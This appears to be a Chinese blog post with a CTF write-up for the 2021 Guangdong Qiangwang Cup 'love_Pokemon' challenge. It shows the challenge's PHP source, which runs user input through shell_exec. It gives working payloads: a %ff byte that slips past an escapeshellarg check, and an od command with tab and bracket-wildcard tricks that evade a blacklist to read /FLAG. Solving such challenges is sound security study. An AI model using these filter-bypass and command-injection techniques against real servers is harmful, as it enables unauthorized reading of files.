首页 > 其他分享 >[广东强网杯 2021 团队组]love_Pokemon rce读取绕过

[广东强网杯 2021 团队组]love_Pokemon rce读取绕过

时间:2024-05-04 17:33:15浏览次数:22  
标签:love Pokemon echo 强网杯 2021 lv100 dream 绕过 md5

五一结束了,真快啊!
今天看一道RCE绕过类型的题目。上来先看看源码。

点击查看代码
 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level = $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream = $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}

?> 
一眼看到了利用点——shell_exec,但是题目进行了过滤。先构造payload看看hint中的东西,post的level不能出现lv100,但是经过escapeshellarg要有lv100。先看看escapeshellarg:把字符串转义为可以在 shell 命令里使用的参数,那么我们可以再字符串中间添加不可见字符导致前面的匹配失败,但是经过转移后的字符为lv100就可以了。 payload:myfavorite=bulbasaur!&levelup=lv10%ff0 (%ff与%81都可以,记住要插在中间,别弄到开头结尾) 我们得到了:
点击查看代码
</code>2f4850466af6a0a50752be95d64c99764690906cffd6ea85ffcbf1bc222e73d8<?php $hint = 'flag is located in / , and NAME IS FLAG';
?>
hint说flag再/FLAG中,那么现在进行rce绕过。可以发现flag与其他好几个读取文件的命令都被过滤,但是od没有被过滤(具体看https://blog.csdn.net/2301_76690905/article/details/134533626),接下来需要绕过flag,可以发现[]@等没有被过滤,可以使用通配符绕过,所以payload:myfavorite=mewtwo&dream=od%09/F[@-Z][@-Z]G,读取结果为8进制,进行转码即可。

标签:love,Pokemon,echo,强网杯,2021,lv100,dream,绕过,md5
From: https://www.cnblogs.com/jocker-love-you/p/18172496

相关文章

  • P10242 [THUSC 2021] Emiya 家明天的饭
    题目大意有\(n\)个人和\(m\)种菜,第\(i\)个人对第\(j\)道菜的喜爱程度为\(a_{i,j}\)。如果\(a_{i,j}=-1\)则表示不喜欢。现在你要选择一个菜的集合,你会获得喜欢集合中所有菜的人对这些菜的喜爱程度之和的权值,最大化这个权值,\(n\leq20,m\leq10^6,a_{i,j}\leq10......
  • P10241 [THUSC 2021] 白兰地厅的西瓜
    考虑DP,注意到一个简单路径可以被拆为向上的部分和向下的部分。所以设\(f_{u,i}\)表示\(u\)的子树中从\(u\)向下且第一项是\(i\)的LIS的最大长度,\(g_{u,i}\)表示\(u\)的子树中\(u\)的某个子孙向上到\(u\)且最后一项是\(i\)的LIS的最大长度。从\(u\)到父......
  • 2020-2021 ICPC NERC (NEERC), North-Western Russia Regional Contest (Northern Sub
    E-EasyCompare-and-Set题意给定n个条件,如果存在一个合法序列使得这n个判断条件成立,则输出Yes和这个合法序列,否则输出No。分析首先可以发现对于\(w_i=0\)的操作我们可以在处理完\(w_i=1\)的操作之后讨论一下即可。发现\(a_i\)和\(b_i\)很大需要对其进行离散化操作。离......
  • 帕鲁杯web mylove复现
    题目给了源码和phpinfo()<?phpclassa{publicfunction__get($a){$this->b->love();}}classb{publicfunction__destruct(){$tmp=$this->c->name;}publicfunction__wakeup(){$this->c="......
  • [题解][2021浙江CCPC] Shortest Path Query
    题目描述输入一张无向图,对于无向图的每条边u,v,w,将u和v转换成二进制后,u是v的前缀。给出q次询问,每次输入s,t,求s到t的最短距离。题解从题目数据而言,n为1e5,m为2e5,显然一般的多源最短路算法无法完成。考虑此题的特殊性质:由于边仅可能从u连向以u为前缀的v,那么若建立一颗以1为根的完......
  • [题解][2021浙江CCPC] Fair Distribution
    题目描述给定两个数n,m,每次操作可以让n-1或者m+1,求使m%n==0的最少操作数量。题解设进行n-t次操作,使n变成t。若m%t不为0,此时的操作数量为:n-t+t-m%t。若m%t==0,操作数量为n-t。那么只需要枚举t就可以解决此题。但会发现t的范围从1-n过大,考虑将t的范围限制在1-sqrt(m),且每次分别......
  • 20211317 李卓桐 Exp5 信息搜集与漏洞扫描 实验报告
    Exp5信息搜集与漏洞扫描实验报告1、实践目标掌握信息搜集的最基础技能与常用工具的使用方法。2、实践内容(1)各种搜索技巧的应用(2)DNSIP注册信息的查询(3)基本的扫描技术:主机发现、端口扫描、OS及服务版本探测、具体服务的查点(以自己主机为目标)(4)漏洞扫描:会扫,会看报告,会查漏......
  • [题解][2021浙江CCPC] String Freshman
    题目描述有一份错误的字符串匹配算法,计算S串里有几个T串(只要有一个元素不同,则视为不同的串)。现在输入T串,判断能否构造S串让该算法不通过。intFind_Answer(){intj=1,ans=0;for(inti=1;i<=n;i++){if(S[i]!=T[j])j=1;if(S[......
  • 洛谷 P8989 [北大集训 2021] 随机游走 题解
    前言又是随机游走?题目分析看到加边,可能性太多了。但是为了让步数最大化,我们可以贪心地想,肯定要往前面连,而且越前面要走的期望步数肯定越大。并且,我们不会浪费边在终点上。于是,题目转变成了\(1\simn-1\)连向起点\(1\)连若干条边,使得随机游走到终点的期望步数最大。那要......
  • P7914 [CSP-S 2021] 括号序列
    P7914[CSP-S2021]括号序列看起来非常复杂的括号题,看到数据范围,大概确定是区间dp,所以我们考虑怎么定义状态。条件非常多,所以二维的状态肯定表示不了,考虑多加一维来定义不同的状态。\(dp_{i,j,0}\):区间形式是***...***的方案数。\(dp_{i,j,1}\):区间形式是(...)的方案数......